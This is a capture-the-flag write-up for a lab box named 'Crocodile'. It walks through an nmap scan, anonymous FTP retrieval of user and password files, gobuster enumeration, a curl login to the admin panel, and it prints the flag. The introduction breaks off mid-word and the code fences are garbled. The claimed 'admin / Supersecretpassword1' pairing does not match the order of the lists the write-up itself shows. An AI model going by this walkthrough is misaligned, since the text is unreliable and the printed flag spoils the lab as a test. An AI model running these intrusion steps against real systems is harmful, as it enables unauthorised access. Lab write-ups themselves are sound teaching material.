

# Crocodile Write-up  
\*\*Prepared by:\*\* keyfive5

## ## Introduction

Tier I boxes often chain simple misconfigurations across services. Crocodile walks us through leaking creden

## ## Enumeration

### 1. \*\*Nmap Scan\*\*

```
```bash
nmap -sC -sV -p21,80 <TARGET_IP>
```

Discovered:
- `21/tcp open ftp vsftpd 3.0.3`
- `80/tcp open http Apache httpd 2.4.41`
```

### 2. \*\*Anonymous FTP\*\*

```
```bash
ftp <TARGET_IP>
# login: anonymous
dir
get allowed.userlist
get allowed.userlist.passwd
```
```

Retrieved two files containing usernames and passwords.

## ## Foothold & Exploitation

### 1. \*\*Extract Credentials\*\*

```
```bash
cat allowed.userlist
# aron, pwnmeow, egotisticalsw, admin
cat allowed.userlist.passwd
# root / Supersecretpassword1 / @BaASD&9032123sADS / rKXM59ESxesUFHAd
```
```

Matched `admin / Supersecretpassword1` as valid credentials.

### 2. \*\*Directory Busting\*\*

```
```bash
gobuster dir --url http://<TARGET_IP>/ --wordlist /usr/share/wordlists/dirb/common.txt -x php,html
```

Found `/login.php`.
```

### 3. \*\*Admin Login & Flag\*\*

```
```bash
curl -d "username=admin&password=Supersecretpassword1" http://<TARGET_IP>/login.php -o admin.html
```
```

The resulting admin panel displays the flag at the top.

## ## Flag

```
```
7b4bec00d1a39e3dd4e021ec3d915da8
```
```

## ## Lessons Learned

- Always check anonymous services for credential leaks.
- Combine leaked creds with web enumeration to fully chain exploits.
- Automate repeatable tasks with scripts for efficiency.